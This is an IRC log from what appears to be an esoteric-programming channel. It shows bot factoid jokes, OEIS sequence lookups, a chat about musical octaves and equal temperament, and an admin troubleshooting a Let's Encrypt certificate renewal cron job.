quit (Remote host closed the connection). 23:41:07 -!- Seaser has joined. 23:43:38 -!- sease has quit (Ping timeout: 252 seconds). 23:46:38 -!- DHeadshot has quit (Ping timeout: 240 seconds). 23:50:13 -!- hppavilion[1] has joined. 23:50:58 -!- cheroki has joined. 23:52:17 hi 23:52:35 -!- cheroki has left. 23:54:35 -!- augur has quit (Remote host closed the connection). 2017-04-11: 00:05:38 coily 00:12:46 -!- Zarutian has joined. 00:14:12 -!- Seaser has quit (Read error: Connection reset by peer). 00:20:50 -!- Seaser has joined. 00:30:43 -!- oerjan has joined. 00:40:35 -!- sease has joined. 00:44:05 -!- Seaser has quit (Ping timeout: 255 seconds). 00:44:24 -!- Seaser has joined. 00:45:53 -!- sease has quit (Ping timeout: 255 seconds). 00:53:29 -!- Seaser has quit (Ping timeout: 252 seconds). 01:07:13 -!- sleffy has quit (Ping timeout: 240 seconds). 01:09:50 ? apple 01:09:51 An apple is a sweet fruit grown on trees in temperate areas. Also an unimportant Californian rectangle factory. 01:09:58 ? apples 01:09:59 An apple is a sweet fruit grown on trees in temperate areas. Also an unimportant Californian rectangle factory. 01:10:11 ? pear 01:10:12 pear? ¯\(°​_o)/¯ 01:10:20 ? lambdabo 01:10:21 lambdabo? ¯\(°​_o)/¯ 01:10:22 ? lambdabot 01:10:23 lambdabot is a fully functional bot. just don't ask about @src. 01:20:45 -!- Lord_of_Life has quit (Excess Flood). 01:21:01 -!- Lord_of_Life has joined. 01:39:09 -!- Seaser has joined. 01:48:18 -!- Phantom_Hoover has quit (Quit: Leaving). 01:54:43 -!- Seaser has quit (Ping timeout: 240 seconds). 01:56:31 -!- Seaser has joined. 02:03:19 -!- Cale has quit (Ping timeout: 246 seconds). 02:08:28 -!- misterhitla has joined. 02:09:32 -!- sease has joined. 02:12:41 -!- Seaser has quit (Ping timeout: 252 seconds). 02:15:51 -!- Cale has joined. 02:27:08 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 02:32:07 shachaf: what is the witness twh 02:45:23 why does the wisdom for lambdabot say "don't ask about @src"? does it even have a command to post a link to its source? 02:53:57 @src fst 02:53:58 fst (x,_) = x 02:54:25 quintopia: you would know if you'd tried using it enough hth 02:56:40 hm did my bugfix ever get merged 02:57:01 @src Monad Maybe 02:57:01 Source not found. Are you on drugs? 02:57:18 @src >>= Maybe 02:57:18 Source not found. 02:57:25 @src (>>=) Maybe 02:57:26 Source not found. This mission is too important for me to allow you to jeopardize it. 02:57:33 @src Maybe (>>=) 02:57:33 (Just x) >>= k = k x 02:57:33 Nothing >>= _ = Nothing 02:57:37 apparently not. 03:01:24 i think int-e got miffed because i refused to use git to squash the commits. 03:02:13 then charitably he forgot about it all. 03:05:39 ? lifespan 03:05:40 Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. Interestingly, the fatter you are in space, the less fat you tend to be in time. 03:14:16 -!- Zarutian has quit (Quit: Zarutian). 03:16:10 -!- sleffy has joined. 03:20:59 -!- Seaser has joined. 03:23:24 -!- sease has quit (Ping timeout: 240 seconds). 03:24:26 ? cyanide 03:24:27 Cyanide is the murder of the color cyan. 03:24:33 forget cyanide 03:24:35 Forget what? 03:25:40 i had to murder that because it murdered morphology hth 03:28:23 ? 03:28:35 rdococ: it would be cyanicide hth 03:29:03 ? morphology 03:29:04 morphology? ¯\(°​_o)/¯ 03:30:35 learn Morphology is the theory that you can never have enough phở. boily invented it. 03:30:37 Learned 'morphology': Morphology is the theory that you can never have enough phở. boily invented it. 03:30:58 . o O ( what do you mean i'm hypocritical? ) 03:36:05 forget does this exist 03:36:06 rm: cannot remove ‘wisdom/does this exist’: No such file or directory \ Forget what? 03:36:10 good, good 03:39:08 ? does this exist 03:39:09 does this exist? ¯\(°​_o)/¯ 03:39:28 ? phở 03:39:29 Phở là một món ăn truyền thống của Việt Nam, cũng có thể xem là một trong những món ăn đặc trưng nhất cho ẩm thực Việt Nam. 03:51:14 -!- hppavilion[1] has joined. 03:51:36 oerjan: a computer game int-e was playing hth 04:00:59 nyeh 04:01:04 op[op[# 04:01:06 hi 04:50:13 -!- ais523 has quit (Ping timeout: 240 seconds). 04:55:15 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:15:18 -!- hppavilion[1] has joined. 05:36:20 <\oren\> this is a good anime 05:36:27 <\oren\> https://www.youtube.com/watch?v=3uAeC9myX04 05:51:45 <\oren\> https://youtu.be/-i10liqh90E?t=4m43s hahahahahahahahahahaha 05:55:51 -!- Cale has quit (Ping timeout: 255 seconds). 05:58:53 -!- Cale has joined. 05:58:57 Is there any way of writing numbers- which was ever seriously used- \more\ terrible than Roman Numerals 06:08:00 Greek numerals were probably worse 06:08:38 Well, I don't know, maybe not 06:08:52 At least they were roughly kinda decimal 06:09:24 But not positional, they used all different letters for ones, tens, hundreds, and thousands 06:09:37 https://en.wikipedia.org/wiki/Greek_numerals#Table 06:26:12 -!- doesthiswork has quit (Quit: Leaving.). 06:48:02 -!- izabera has changed nick to flawful. 06:57:23 -!- MoALTz has joined. 07:00:41 -!- FreeFull has quit. 07:26:15 -!- sleffy has quit (Ping timeout: 240 seconds). 07:39:13 I'm thinking about music 07:39:15 For some reason 07:39:47 A standard relationship between mathematics and music is that, if you take a frequency f, the frequency 2f is just f shifted up an octave 07:40:13 In general, if you go up by n octaves, you multiply the frequency by (2^n)f, and if n is an integer, you hear the same note 07:40:46 But... what makes it the same note? If it's that they're harmonics, does that mean that the note with frequency 3f is also the same? 07:42:28 In particular, that would make it the same note ~1.5849625007211563 octaves up 07:44:01 -!- doesthiswork has joined. 07:47:13 -!- haavard has quit (Ping timeout: 264 seconds). 08:02:06 -!- oerjan has quit (Quit: Nite). 08:10:56 -!- AnotherTest has joined. 08:25:36 -!- MoALTz has quit (Quit: Leaving). 08:25:44 -!- doesthiswork has quit (Quit: Leaving.). 08:26:41 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 08:44:22 3f would be the "perfect fifth" an octave up. 08:52:12 @ask hppavilion[1] see https://en.wikipedia.org/wiki/Bohlen–Pierce_scale 08:52:12 Consider it noted. 08:56:55 -!- Taneb has quit (Ping timeout: 256 seconds). 08:57:03 -!- Taneb has joined. 08:57:29 -!- jameseb has quit (Ping timeout: 256 seconds). 08:58:12 @ask hppavilion[1] the effect is called octave equivalence, for which google suggests http://www.neuroscience-of-music.se/Octave-History.htm 08:58:12 Consider it noted. 08:58:27 -!- jameseb has joined. 09:44:52 -!- augur has joined. 09:45:01 -!- augur has quit (Read error: Connection reset by peer). 10:13:26 -!- vodkode has joined. 11:15:08 -!- boily has joined. 11:19:26 -!- augur has joined. 11:19:40 -!- augur has quit (Remote host closed the connection). 11:21:16 wisdom 11:21:17 flagpole//A flagpole is like a tadpole, but with a flag on top. 12:08:33 -!- xfix_ has joined. 12:10:11 -!- xfix has quit (Ping timeout: 240 seconds). 12:14:38 -!- boily has quit (Quit: MEET CHICKEN). 12:17:47 -!- Phantom_Hoover has joined. 12:29:01 -!- augur has joined. 12:54:41 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 13:12:21 -!- augur has quit (Remote host closed the connection). 13:17:13 -!- augur has joined. 13:21:20 -!- Lord_of_Life has quit (Excess Flood). 13:21:43 -!- augur has quit (Ping timeout: 240 seconds). 13:25:01 -!- Lord_of_Life has joined. 13:27:02 -!- augur has joined. 13:31:30 -!- augur has quit (Ping timeout: 245 seconds). 13:36:44 -!- augur has joined. 13:37:13 -!- idris-bot has joined. 13:37:41 -!- idris-bot has quit (Client Quit). 13:40:21 -!- contrapumpkin has joined. 13:51:08 -!- augur has quit (Ping timeout: 255 seconds). 13:55:23 -!- augur has joined. 14:06:05 -!- Zarutian has joined. 14:41:00 -!- sease has joined. 14:42:43 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 14:44:32 -!- Seaser has quit (Ping timeout: 252 seconds). 14:45:25 -!- ^_^v has joined. 14:47:52 -!- Seaser has joined. 14:50:03 [wiki] [[Special:Log/newusers]] create * Okx * New user account 14:50:16 -!- sease has quit (Ping timeout: 260 seconds). 14:56:19 -!- sease has joined. 14:57:11 -!- Seaser has quit (Ping timeout: 260 seconds). 14:58:51 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51654&oldid=51650 * Okx * (+173) introduce myself 14:58:57 [wiki] [[BrainfuckSubstitution]] N https://esolangs.org/w/index.php?oldid=51655 * Okx * (+2900) Created page with "BrainfuckSubstitutor (also known as ''BF Substitutor'' or ''BFS'') is an extension of Brainfuck that allows you to substitute parts of the code for variables. There are two w..." 14:59:34 [wiki] [[Special:Log/move]] move * Okx * moved [[BrainfuckSubstitution]] to [[BrainfuckSubstitutor]]: wrong name 14:59:51 [wiki] [[Special:Log/move]] move * Okx * moved [[BrainfuckSubstitutor]] to [[Brainfuck Substitutor]] 14:59:58 [wiki] [[Brainfuck Substitutor]] https://esolangs.org/w/index.php?diff=51660&oldid=51658 * Okx * (+1) 15:00:45 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51661&oldid=51636 * Okx * (+28) 15:32:04 -!- Lord_of_Life has quit (Excess Flood). 15:33:32 -!- Lord_of_Life has joined. 15:37:21 -!- Lord_of_Life has quit (Excess Flood). 15:40:01 -!- Lord_of_Life has joined. 15:43:21 -!- Zarutian has quit (Quit: Zarutian). 15:43:54 -!- Phantom_Hoover has joined. 15:49:51 -!- sease has quit (Quit: Leaving). 15:56:13 -!- erkin has joined. 16:00:11 -!- MoALTz has joined. 16:26:45 -!- hppavilion[1] has joined. 16:36:55 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 16:39:58 -!- vodkode has quit (Quit: Leaving). 16:51:04 -!- Zarutian has joined. 17:06:41 -!- hppavilion[1] has joined. 17:13:10 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 17:19:18 -!- FreeFull has joined. 17:21:13 -!- Phantom_Hoover has quit (Quit: Leaving). 17:39:19 <\oren\> http://www.capitol.state.tx.us/BillLookup/History.aspx?LegSess=85R&Bill=HCR75 17:46:49 -!- myname has joined. 17:50:26 -!- sleffy has joined. 17:54:24 ? tadpole 17:54:25 A tadpole is like a flagpole, but underwater, and also a tad shorter. 17:56:04 lol 17:57:06 heh 17:57:28 ? mapole 17:57:29 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg. 17:58:07 -!- Phantom_Hoover has joined. 17:58:16  echo wisdom/*pol* 17:58:17 wisdom/flagpole wisdom/mapole wisdom/oklopol wisdom/poland wisdom/politics wisdom/rholypoly wisdom/tadpole wisdom/topology wisdom/typology 17:58:27 is there a topole too? 17:58:30 ? topology 17:58:31 Topology is another name for topos theory. 17:58:33 ? singular 17:58:34 singular? ¯\(°​_o)/¯ 18:02:11 -!- Herbstkind has joined. 18:03:47 -!- Phantom_Hoover has quit (Quit: Leaving). 18:13:44 -!- augur has quit (Remote host closed the connection). 18:18:41 -!- augur has joined. 18:28:23 -!- augur has quit (Ping timeout: 252 seconds). 18:31:28 -!- Zarutian has quit (Quit: Zarutian). 18:38:30 [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[BrainfuckSubstitution]]": Obsolete redirect 18:38:55 [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[BrainfuckSubstitutor]]": Obsolete redirect 18:52:17 -!- h0rsep0wer has joined. 18:59:24 -!- Zarutian has joined. 19:08:25 apparently the certificate is invalid? 19:15:31 <\oren\> "Urging Texans not to use the flag emoji of the Republic of Chile when referring to the Texas flag." 19:44:25 -!- Seaser has joined. 19:45:45 -!- DHeadshot has joined. 19:59:33 -!- FreeFull has quit (Quit: rebooting). 20:01:56 -!- FreeFull has joined. 20:08:22 -!- Zarutian has quit (Quit: Zarutian). 20:21:26 -!- sease has joined. 20:22:13 -!- Seaser has quit (Ping timeout: 240 seconds). 20:25:03 -!- Seaser has joined. 20:25:43 -!- sease has quit (Ping timeout: 240 seconds). 20:30:21 -!- Seaser has quit (Ping timeout: 260 seconds). 20:33:36 -!- Seaser has joined. 20:39:38 -!- Seaser has quit (Ping timeout: 240 seconds). 20:45:14 -!- Seaser has joined. 21:37:07 -!- Herbstkind has quit (Quit: Leaving). 21:39:04 -!- h0rsep0wer has quit (Quit: Leaving). 21:52:03 -!- Robdgreat has left. 22:04:50 -!- hppavilion[1] has joined. 22:06:40 I think migraines are, verifiably, The Worst Thing™ 22:06:44 -!- MoALTz has quit (Quit: Leaving). 22:06:48 @massages-lewd 22:06:49 Unknown command, try @list 22:06:51 @massages-lowd 22:06:52 Jafet asked 13h 14m 39s ago: see https://en.wikipedia.org/wiki/Bohlen–Pierce_scale 22:06:52 Jafet asked 13h 8m 39s ago: the effect is called octave equivalence, for which google suggests http://www.neuroscience-of-music.se/Octave-History.htm 22:11:01 Jafet: My first thought when I read the second was that Google— the company— had at some point suggested people read that for some reason. 22:13:32 The Programmer's Scale has the middle C equivalent at 256 Hz (of course) and 16 notes between octaves 22:18:10 > (2**(1/3),5/4,2**(5/12),4/3,2**(7/12),3/2) 22:18:12 (1.2599210498948732,1.25,1.3348398541700344,1.3333333333333333,1.49830707687... 22:18:53 this is basically why we have that 12 tone scale, it has close approximations to those harmonics 22:21:55 for a 16 tone scale, you'd have 3/2 as 1.477, 4/3 as 1.354, 5/4 as 1.189... 22:25:43 so 3/2 is the perfect fifth and 4/3 the perfect fourth, hmm hmm. 22:27:01 int-e: ...wait, wat? 22:28:44 -!- Seaser has quit (Ping timeout: 240 seconds). 22:29:38 https://en.wikipedia.org/wiki/12_equal_temperament#Comparison_to_just_intonation 22:31:01 There's a fascinating list of equal temperament scales that have, apparently, been used, with 12 (standard), 15, 17, 19, 22, 24, 31, 34, 41, 53, 58, and 72 intervals. 22:51:35 -!- Phantom_Hoover has joined. 22:53:13 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 22:57:58 -!- Phantom_Hoover has quit (Quit: Leaving). 23:01:16 -!- longerstaff13 has left ("Leaving"). 23:16:33 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:31:10 -!- Sgeo has quit (Read error: Connection reset by peer). 23:31:57 -!- Zarutian has joined. 23:32:16 -!- AnotherTest has quit (Ping timeout: 240 seconds). 23:33:32 hi 23:41:59 -!- Sgeo has joined. 23:42:37 -!- Sgeo has quit (Remote host closed the connection). 23:42:59 -!- Sgeo has joined. 23:46:38 <\oren\> how are you gentlemen! all your base are belong to us. you have no chance to survive make your time 23:46:43 <\oren\> https://www.youtube.com/watch?v=6ssZ1KdueTU 23:47:40 hm. 23:48:13 hi esoterians 23:52:37 Hi rdococ 23:53:49 hellrdococ! 23:54:35 Has anyone seen the sequence 1 + 1 + 2 + 3 + 6 + 10 ...? 23:54:56 Triangle numbers? 23:55:08 Or...? 23:57:17 @oeis 1 1 2 3 6 10 23:57:18 https://oeis.org/A001405 a(n) = binomial(n, floor(n/2)). 23:57:18 [1,1,2,3,6,10,20,35,70,126,252,462,924,1716,3432,6435,12870,24310,48620,9237... 23:57:46 hm 23:57:48 could it be that? 23:58:08 Looks like it... 23:58:21 <\oren\> @oeis 1 2 4 7 13 23 23:58:25 https://oeis.org/A048888 a(n) = Sum{T(m,n+1-m): m=1,2,...,n}, array T as in ... 23:58:25 [0,1,2,4,7,13,23,42,76,139,255,471,873,1627,3044,5718,10779,20387,38673,7356... 23:58:42 If you want partial sums of A001405, that's A036256. 23:58:43 yeah 23:58:45 that might be it 23:59:23 ty 23:59:35 <\oren\> @oeis 1 1 2 3 5 8 13 23:59:41 https://oeis.org/A000045 Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0)... 23:59:41 [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,... 23:59:42 -!- Remavas has joined. 2017-04-12: 00:00:03 -!- Remavas has left ("co'o"). 00:00:35 okay 00:00:36 <\oren\> @oeis 1 2 4 7 12 25 00:00:38 Sequence not found. 00:01:25 <\oren\> @oeis 1 2 4 7 12 20 33 00:01:28 https://oeis.org/A000071 Fibonacci numbers - 1. 00:01:28 [0,0,1,2,4,7,12,20,33,54,88,143,232,376,609,986,1596,2583,4180,6764,10945,17... 00:01:46 Hm. 00:02:09 <\oren\> @oeis 1 11 111 1111 11111 00:02:10 https://oeis.org/A002275 Repunits: (10^n - 1)/9. Often denoted by R_n. 00:02:10 [0,1,11,111,1111,11111,111111,1111111,11111111,111111111,1111111111,11111111... 00:02:12 Is it possible to have infinite series that diverge to uncountable infinity? 00:02:26 @oeis 1 2 3 4 5 6 7 9 00:02:27 https://oeis.org/A004709 Cubefree numbers: numbers that are not divisible by... 00:02:27 [1,2,3,4,5,6,7,9,10,11,12,13,14,15,17,18,19,20,21,22,23,25,26,28,29,30,31,33... 00:03:01 <\oren\> @oeis 9 9 9 9 9 9 9 00:03:16 https://oeis.org/A000196 Integer part of square root of n. Or, number of pos... 00:03:16 [0,1,1,1,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6... 00:03:20 @oeis 1 3 7 15 31 63 00:03:22 https://oeis.org/A000225 a(n) = 2^n - 1. (Sometimes called Mersenne numbers,... 00:03:22 [0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535,131071,2... 00:03:33 ah 00:03:45 hm. 00:03:56 Again, is it possible for infinite series that diverge to uncountable infinity? 00:04:06 Or do they all diverge to countable infinity? 00:04:39 <\oren\> among the integers, it would have to be countable since the set of integers in countable 00:04:53 True. 00:05:20 <\oren\> @oeis 2 1 3 4 5 6 7 8 9 00:05:34 https://oeis.org/A254524 n is the a(n)-th positive integer having its digitsum. 00:05:34 [1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,1,3,3,3,3,3,3,3,3,2,1,4,4,4,4,4,4,4,3,2... 00:06:28 @oeis 1 3 2 4 3 5 4 6 5 7 6 00:06:39 @oeis 1 3 2 4 3 5 4 6 5 00:06:44 er 00:06:45 Plugin oeis' failed with: <> 00:06:48 ah 00:07:04 Plugin oeis' failed with: <> 00:07:16 @oeis 1 3 2 4 00:07:44 Plugin oeis' failed with: <> 00:07:56 <\oren\> @oeis a b c d 00:08:20 Plugin oeis' failed with: <> 00:08:24 @oeis 1 2 3 4 00:08:25 https://oeis.org/A000027 The positive integers. Also called the natural numb... 00:08:25 [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,... 00:08:32 @oeis 1 3 2 00:08:46 <\oren\> um.... why did it even LOOK for a b c d 00:09:05 <\oren\> that's a total bug 00:09:06 Plugin oeis' failed with: <> 00:10:25 <\oren\> @oeis digits of pi 00:10:29 https://oeis.org/A000796 Decimal expansion of Pi (or, digits of Pi). 00:10:29 [3,1,4,1,5,9,2,6,5,3,5,8,9,7,9,3,2,3,8,4,6,2,6,4,3,3,8,3,2,7,9,5,0,2,8,8,4,1... 00:10:32 <\oren\> oh i see 00:14:23 what I was doing was trying to unravel an "infinite state machine" as I've probably mentioned in the past, and tried to find out whether you would need an uncountably infinite as opposed to countably infinite number of nodes on the data tree. 00:16:43 I think countable but I'm still not sure. 00:16:52 what is everyone else's opinions? 00:17:22 -!- Remavas has joined. 00:17:26 Hello 00:17:30 -!- DHeadshot has quit (Ping timeout: 240 seconds). 00:17:31 hi 00:17:43 looks like nobody's around 00:18:21 we've got to wait 00:18:45 well, someone did say "among the integers, it would have to be countable since the set of integers in countable" earlier 00:19:13 hm... 00:19:20 Let's wait a bit longer 00:22:24 -!- sleffy has quit (Ping timeout: 255 seconds). 00:26:27 <\oren\> what's the "data tree" 00:27:38 -!- oerjan has joined. 00:29:24 In this context, we're referring to a state machine with the constraint of being presentable in a tree format. 00:30:24 <\oren\> hell𐐭𐐩rjan 00:31:14 with countably infinite states 00:31:30 A state machine, finite or infinite, is a data tree if and only if it never returns to a previous state, and each state only has two transitions: one into the state, and one out of the state. 00:32:26 good to know 00:32:29 helloren. 00:32:48 Well, beginning and end states may have one transition, but you must be able to get from each state to every other state by tracing the transitions (even if they transition the other way.) 00:34:28 fizzie: esolangs.org's certificate seems to have expired 00:35:57 ais523 keeps making fiendish PPCG challenges 00:36:34 lots of languages have no chance on this one 00:37:18 (and it's still fiendish in the rest) 00:48:45 Can a so-called 'data tree' have an uncountably infinite number of nodes? 00:48:54 no. 00:49:04 hm. 00:49:10 -!- sleffy has joined. 00:50:04 given one node, all the others can be named with a finite path of {left, right, up}s 00:50:21 or wait 00:50:27 yes. 00:50:42 (yes, it is no.) 00:51:50 ah 00:51:50 k 00:52:36 I wasn't just speaking about binary data trees, btw. 00:52:58 -!- Lord_of_Life has quit (Excess Flood). 00:53:07 A data tree with an uncountably infinite number of nodes would probably need an uncountably infinite number of nodes branching from at least one node. 00:54:22 oh the challenge allows functions, might be more plausible then. 00:55:01 -!- Lord_of_Life has joined. 00:56:18 Heh :P 00:56:29 interesting :) 00:57:04 Hm. 00:57:56 When you put it like that... 00:58:18 wait. 00:58:19 nvm. 00:58:57 also, my definition above was wrong. 01:04:29 ? wan 01:04:30 wan? ¯\(°​_o)/¯ 01:04:39 le//rn wan//Wan is the opposite of wan't. 01:04:41 Learned 'wan': Wan is the opposite of wan't. 01:04:49 hmm 01:05:02 it's brief 01:06:28 forget wan 01:06:30 Forget what? 01:06:37 more morphologicide, i see 01:06:52 clearly it should be "wa" hth 01:07:04 hm wait 01:07:06 revert 01:07:07 Done. 01:07:41 apparently english already committed that atrocity itself. 01:08:41 can 01:08:42 can't 01:08:52 Okay, thanks to oerjan, I will now spell can't as can'nt. 01:09:04 *cann't 01:09:14 ...Whatever. I cann't care less. 01:09:50 of course not, you are approaching the boredom singularity 01:09:52 Can you at least allow me wa? I really don't wa it. 01:10:10 ? wan 01:10:10 le//rn wa//Wa is the opposite of wan't. 01:10:12 Learned 'wa': Wa is the opposite of wan't. 01:10:13 Wan is the opposite of wan't. 01:10:23 forget wa 01:10:25 NOPE 01:10:25 Forget what? 01:10:31 ... 01:10:35 (pay attention!) 01:10:40 ? wa 01:10:41 wa? ¯\(°​_o)/¯ 01:10:43 Oh. 01:10:45 Ohh. 01:10:47 Oops. 01:11:05 And that, is proof I am nuts. Q.E.D. 01:11:36 ? sanity 01:11:37 Sanity is the defining property of boily. Taneb invented it. 01:11:49 ? rdococ 01:11:50 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. 01:13:16 -!- boily has joined. 01:13:19 wisdom 01:13:20 jonathan hoag//Hoag is an art critic. 01:14:16 boily: recent evidence has caused me to suspect you're staying sane by siphoning sanity from rdococ. that's evil! 01:15:00 only villains here 01:15:05 :O 01:15:23 ? insanity 01:15:24 Unless you are boily, you are just imagining this wisdom entry. 01:15:49 No, oerjan, I think I was insane when I first joined. 01:16:00 * oerjan hands boily a discount coupon for a minion 01:16:11 oh. 01:16:13 Why, otherwise, then, would I be so dumb? 01:16:27 rdococ: maybe you'd like to be boily's minion, then? 01:16:35 No way. 01:16:37 hellørjan, Rellomavas, rdochelloc. 01:16:48 hoily. 01:16:55 o hai theeere~♪ 01:17:25 ♪ would you like to be my miiiinioooon⅝ ♪ 01:17:30 ? morphologicide 01:17:31 morphologicide? ¯\(°​_o)/¯ 01:17:34 ? cyanide 01:17:35 cyanide? ¯\(°​_o)/¯ 01:18:04 I do think that morphology should be sacrificed for humor if required. 01:18:16 shocking 01:20:11 boily: i'm disappointed that doesn't seem to be an actual song 01:20:39 morphology is only an arrière-pensée, a smidge to be washed away under pure unfettered language. 01:20:54 ? morphology 01:20:55 Morphology is the theory that you can never have enough phở. boily invented it. 01:21:02 * boily can't sing :( 01:21:02 -!- hppavilion[2] has joined. 01:21:07 why are you dissing your own invention 01:21:12 HA HA HA :D 01:21:21 cwlprits morphology 01:21:28 oerjän 01:21:32 ^^ 01:21:40 lol. 01:21:55 -!- Lord_of_Life has quit (Excess Flood). 01:21:56 so now can I have the wisdom entry for cyanide? 01:22:02 -!- Lord_of_Life has joined. 01:22:10 not the one you made yesterday, no. 01:22:23 you allowed the morphologicide in wan :P 01:22:27 s/:P/:c 01:22:32 why not in "cyanide"? 01:22:42 because the suffix is -cide. 01:22:55 -ide alone means something different. 01:22:57 Again, you allowed the morphologicide in wan. 01:23:14 only because i thought of "can't". 01:23:19 The joke still retains its humor; it is also brief. 01:23:25 Think of cunt then 01:23:30 :þ 01:23:34 ? cun 01:23:35 cun? ¯\(°​_o)/¯ 01:23:35 -!- ChanServ has set channel mode: +o oerjan. 01:23:49 hi øprjan 01:23:52 ? yes 01:23:53 yes? ¯\(°​_o)/¯ 01:23:55 ? no 01:23:55 -!- oerjan has set channel mode: +b *!*remavas@*.omni.lt. 01:23:55 -!- oerjan has kicked Remavas. 01:23:56 No means hi. 01:23:59 o-o 01:24:07 -!- oerjan has set channel mode: -o oerjan. 01:24:12 I think that was a little unnecessary but okay 01:24:16 it smelled like hagb4rd. 01:24:22 ? hagb4rd 01:24:23 hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaace. 01:24:32 ? space 01:24:33 Humans come from space. In particular, the part of space that has Earth in it. 01:24:39 har har. 01:24:57 ? brevity 01:24:58 brevity? ¯\(°​_o)/¯ 01:26:06 although i'm not quite sure this time, but i don't care. 01:26:38 you have to earn your time here before you get to dump swearwords, is my opinion. 01:27:42 le/rn brevity//syn. "shortness" 01:27:45 Learned 'brevity': syn. "shortness" 01:30:54 * boily exploits the Québécois Loophole for swearing >:D 01:31:09 boily: you've earned your time hth 01:31:20 although i guess the loophole helps. 01:40:43 ? shortness 01:40:44 shortness? ¯\(°​_o)/¯ 01:40:47 ? brevity 01:40:48 syn. "shortness" 01:41:27 soul of wit 01:41:44 ? long 01:41:45 Long is the Chinese word for dragon. 01:41:48 ? longer 01:41:49 longer? ¯\(°​_o)/¯ 01:41:57 ? remavas 01:41:58 remavas? ¯\(°​_o)/¯ 01:50:20 oerjan: The cron job to auto-renew was broken in some way. I thought I fixed it, but now that you mention, I don't think I've seen the monthly emails it's supposed to give out recently. 01:52:40 you review it monthly? 01:52:55 It's a letsencrypt cert, those are only valid for 3 months at a time. 01:53:06 ic 01:53:16 Looks like the file on disk has actually been renewed. 01:53:22 Validity 01:53:22 Not Before: Mar 27 12:37:00 2017 GMT 01:53:22 Not After : Jun 25 12:37:00 2017 GMT 01:53:31 Must be something like the webserver not picking it up. 01:54:03 That's odd. 01:54:06 maybe it only reads it when starting up? 01:54:20 and somehow hasn't been down 01:54:21 Yes, that's why I have "sudo /bin/systemctl reload nginx" in the script. 01:54:27 heh 01:54:32 I just did that command manually, and it seems to have worked. 01:54:37 yay 01:54:38 fizziello. 01:54:53 I just don't know why it didn't work from the cron job. 01:55:03 There's been no emails about errors either, as far as I know. 01:55:03 * oerjan gets read of that ugly red address bar 01:55:06 *rid 01:55:57 Oh, there are the emails. I haven't actually configured for them to get out of the box. 01:56:38 Oh. It's set -e so it stops on the first "error", and apparently the tool I've been using has said: "Certificates already exist and renewal is not necessary, exiting with status code 1." 01:57:18 very useful tool 01:57:43 It's actually renewed the esolangs.org cert, but then decided not to renew the hackego.esolangs.org one since it was still valid for what it considered long enough. 01:58:33 And because of that didn't call the web server reload thing. 01:58:51 fiendish 01:59:18 Tricksy. Well, it should stay up to date now. 01:59:55 ? STC 01:59:56 STC? ¯\(°​_o)/¯ 02:00:21 Looks like there would've been a "--valid_min" option to control what it thinks is long enough. I hope that's >= 1 month by default. 02:01:06 Heh, it's exactly 30 days. 02:02:06 So there's still a possibility of an issue for one day, because I call it the 27th of each month, and it won't renew if it's valid for 30 days but it could be 31 until the next call. 02:02:34 Maybe I should just call more often, given that it has that sort of auto-don't-do-anything-if-valid-enough thing. 02:04:39 ...except then it'd reload the web server unnecessarily every time. Bah. 02:07:17 . o O o . 02:07:21 thought cancellation 02:08:02 . o O ( hey dude, why did you cancel me? you do know that with- ) O o . 02:08:15 ? . o O ( lol ) 02:08:16 ​. o O ( lol )? ¯\(°​_o)/¯ 02:08:23 ? . o O ( ) 02:08:24 ​. o O ( )? ¯\(°​_o)/¯ 02:08:25 ? . o O 02:08:26 ​. o O? ¯\(°​_o)/¯ 02:08:30 seriously? 02:08:36 jk 02:18:21 fungot: nostril. 02:18:21 boily: trapper: the last day of reckoning, ragnarok. as a passing current, the tickle of undertow. he excelled them even in ancient days they were set, and quickly retreated back, around that corner, i hear it: this is the most spectacular being _baluchitherium_ from the legend that he does not kill him not: then i will order the cook to prepare fresh tripe, tripe ration: if i thought it were a bar of birthday chocolate last hi 02:19:01 tripe is good. all fuzzy and textureous. 02:27:58 is there an trump mode one fungot? 02:27:58 Zarutian: a crystal plate mail isn't worth wishing for. i hate when that happens. " here!" the bushmen say that a fortune. in one ear. " at your work; your boss know what you're doing right now? 02:28:42 a crystal plate mail. Not worth the postage and wont stop arrows. 02:29:24 but could be the cutting edge in armour 02:29:36 Zarutellon. but crystal plate has an AC of 14 and a GDR of 48%!* 02:29:59 lends a whole new meaning to 'a knight in shining armour'. 02:30:14 (* crystal plate armour has an EV penalty of -23. do not apply without enought strength. please consult your physician before attempting an all runer.) 02:31:02 -!- boily has quit (Quit: HOODED CHICKEN). 02:41:43 fizzie: maybe check if any of the files have changed before reloading the web server? 02:51:05 -!- sleffy has quit (Ping timeout: 252 seconds). 02:55:17 getting cron to run a command more often than once a month but less often than twice looks annoying. 02:56:26 iiuc you essentially have to copy the entry for all the months/days wanted 02:57:18 except you can probably share february and march. 02:59:12 looks like 30 days cutoff is about the most annoying possible :P 03:16:16 right. 03:16:17 that's it. 03:16:37 I'm activating the tachyon drives and escaping this black hole of boredom. 03:16:40 ? tachyon 